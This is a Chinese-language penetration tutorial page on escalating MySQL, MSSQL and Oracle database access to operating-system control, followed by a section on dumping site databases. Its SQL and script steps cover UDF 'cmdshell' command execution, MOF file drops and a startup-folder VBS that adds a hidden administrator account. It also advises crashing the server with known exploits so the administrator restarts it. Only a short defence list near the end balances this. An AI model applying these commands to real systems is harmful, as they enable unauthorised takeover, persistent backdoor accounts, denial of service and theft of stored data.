🔥码云GVP开源项目 12k star Uniapp+ElementUI 功能强大 支持多语言、二开方便! 广告
# 数据库提权到操作系统 攻击者如果获取了通过数据库root权限,是可以通过提权,获取操作系统最高权限的。 ## 1️⃣Mysql数据库提权 ### 一、如何获取mysql账号密码 当通过webshell进入服务器后,怎么得到数据库的账号密码呢 1. 查看网站配置文件。 如:conn、config、data、sql、common 、inc等。 2. 查看数据库物理路径下的user表文件 目录为/data/mysql/user.myd和user.myi 密码是加密的,需要再次进行破解 3. 通过暴力破解得到(hscan、Bruter、hydra、脚本木马) 如果对外开放3306,即允许远程连接,可以远程爆破 补充:mysql开启root账号远程访问 ```sql mysql> GRANT ALL PRIVILEGES ON*.*TO root@"%"IDENTIFIED BY"root"; mysql> flush privileges; ``` ### 二、利用UDF自身提权 * * * 1. 原理 UDF提权是利用MYSQL的Create Function语句,将MYSQL账号转化为系统system权限。 2. 利用条件 * 目标系统是Windows(Win2000,XP,Win2003) * 已经拥有MYSQL的某个用户账号,此账号必须有对mysql的insert和delete权限以创建和抛弃函数 * 有root账号和密码 **利用方式A** 1. 使用工具“mysql综合利用工具”连接 填写地址、root账号、密码后进行连接 ![mark](http://noah-pic.oss-cn-chengdu.aliyuncs.com/pic/20210806/164305231.png) 2. 导入udf.dll文件 连接成功后,导出DLL文件,导入时请勿必注意导出路径(一般情况下对任何目录可写,无需考虑权限问题),否则在下一步操作中你会看到"No paths allowed for shared library"错误。 ``` #不同版本mysql,udf.dll存放路径不同 #Mysql版本大于5.1版本。 xx\\mysql\\lib\\plugin\\udf.dll 文件夹下。 #Mysql5.1版本默认路径。 C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin\\udf.dll #Mysql版本小于5.1版本。 Windows2003下放置于c:\\windows\\system32\\udf.dll windows2000下放置于c:\\winnt\\system32\\udf.dll ``` **一般Lib、Plugin文件夹需要在webshell先手工建立(也可用NTFS ADS流模式突破进而创建文件夹)** ```sql #查找到mysql的目录后 select @@basedir; #利用NTFS ADS创建lib目录 select 'It is dll' into dumpfile 'C:\\ProgramFiles\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION'; #利用NTFS ADS创建plugin目录 select 'It is dll' into dumpfile 'C:\\ProgramFiles\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION'; ``` 3. UDF提权常用命令: ```sql #创建cmdshell函数,如果用3389就需要创建open3389函数,具体有哪些函数看帮助 create function cmdshell returns string soname 'udf.dll'; #创建好函数后,用函数执行系统命令 select cmdshell('net user'); select open3389(); drop function cmdshell; 删除函数 delete from mysql.func where name='cmdshell' 删除函数 ``` 使用完成后你可能需要删除在第二步中导出的DLL,但在删除DLL前请先删除你在第三步中创建的函数,否则删除操作将失败,删除第三步中创建的函数的SQL语句为:drop function 创建的函数名; **利用方式B** UDF脚本提权,当mysql不能远程连接时,可以上传udf脚本至对方主机,然后通过webshell的方式进行连接操作。 ### 三、利用mof提权 **MOF漏洞工具与脚本实战:** http://www.myhack58.com/Article/html/3/8/2013/38264.htm 1. 原理 在windows平台下,c:/windows/system32/wbem/mof/nullevt.mof这个文件会每间隔一段时间(很短暂)就会以system权限执行一次,所以,只要将要做的事通过代码存储到这个mof文件中,就可以实现权限提升。 2. 利用条件 * mysql用户具有root权限 * 且可以复制文件到c:/windows/system32/wbem/mof/目录下 * 关闭了secure-file-priv **利用方式1** 通过工具如“mysql综合利用工具”直接提取,输入账户密码连接数据库后可直接输入系统命令,创建账号。 **利用方式2** 通过上传mof文件,然后在sql中运行的方式 1. 找个可写目录,上传mof文件 假设上传的目录为文件夹`C:\\wmpub\\moon.mof` 该mof文件,已经写死了要创建的账号密码等信息 2. 执行sql,转移文件到系统目录,等待创建新账号 ```sql select load_file('C:\\wmpub\\moon.mof') into dumpfile 'c:/windows/system32/wbem/mof/moon.mof'; ``` 3. 执行完后,验证账号 在webshell里执行使用net user查看是否多了一个admin用户,如果有则说明可以利用,否则就不需要继续了,注意新建的帐号每隔5分钟就会新建帐号,删除帐号的办法参考上文链接 ### 四、通过Mysql把文件写入启动项 1. 通过mysql数据库命令写入VBS脚本; ```sql mysql>drop database test1; mysql> create database test1; mysql> use test1; mysql> create table a (cmd text); mysql>insert into a values ("set wshshell=createobject (""wscript.shell"")"); mysql>insert into a values ("a=wshshell.run (""cmd.exe /c net user best best /add"",0)"); mysql>insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup Administrators best /add"",0)"); #注意双引号和括号以及后面的“0”一定要输入!我们将用这三条命令来建立一个VBS的脚本程序 ``` ``` 2. 直接通过Webshell的Mysql写入启动项; ```sql mysql>select * from a; mysql>select * from a into outfile "c://docume~1//administrator//「开始」菜单//程序//启动//best.vbs"; ``` 3. 通过MS12-020、MS15-034重启服务器。 服务器down机后,管理员会重启,重启后我们就能得到新建的管理员账号了 ## 2️⃣微软Mssql提权 mssql提权主要分为弱口令与溢出两类提权。目前主要通过弱口令连接直接提权,溢出类Mssql数据库几乎很少见(sqlserver2000之后就几乎没有了)。 通过漏洞拉到webshell之后,找到网站配置文件,里面有**sa权限**的账号密码,配置文件为asp或者aspx网站一般使用微软自带数据库,这个提权没有sa权限是不能做的,mssql一般是允许远程连接的,系统库是master。 有了sa密码直接利用sqltools工具就可以了 ## 3️⃣如何通过Oracle提权 Oracle数据库一般与jsp、aspx网站搭配,如果是jsp网站,默认是系统权限,aspx网站默认需要提权。 **提权方法参考:**http://blog.csdn.net/sezvboyrul/article/details/2855401,工具为`oracleshell` ## 4️⃣数据库安全防范 1. 限止数据库远程连接,给数据库帐户设置密码必须>8位以上并数字+字母+特殊符号等。 2. 不要给网站配置root或SA权限。必须给每个网站独立分配数据库帐户并限格控制好权限。 3. 及时升级数据库补丁。 4. 安装Waf进行防御。 5. 购买数据库审计设备 # 数据库脱库 ## 1️⃣工具脱库 通过百度查找Navicat Mysql、Navicat for SQL Server、Navicat for Oracle、Navicat for PostgreSQL、Navicat for SQLite等,也可以使用其它工具代替,如sqlmap、k8等类似工具。 **优点:** 支持面广,功能强大,速度度、稳定 **缺点:** 不能支持外链 ## 2️⃣脚本脱库 通过百度查找ASP、PHP、JSP脱库脚本等类似工具。 **优点:** 解决不外链的情况 **缺点:** 速度慢、不够稳定 ## 3️⃣站点打包 通过百度查找ASP、PHP、JSP脚本打包程序等类似工具。 asp+access源码和数据库是可以一起打包,其它类型数据库,库与源码是单独分开的。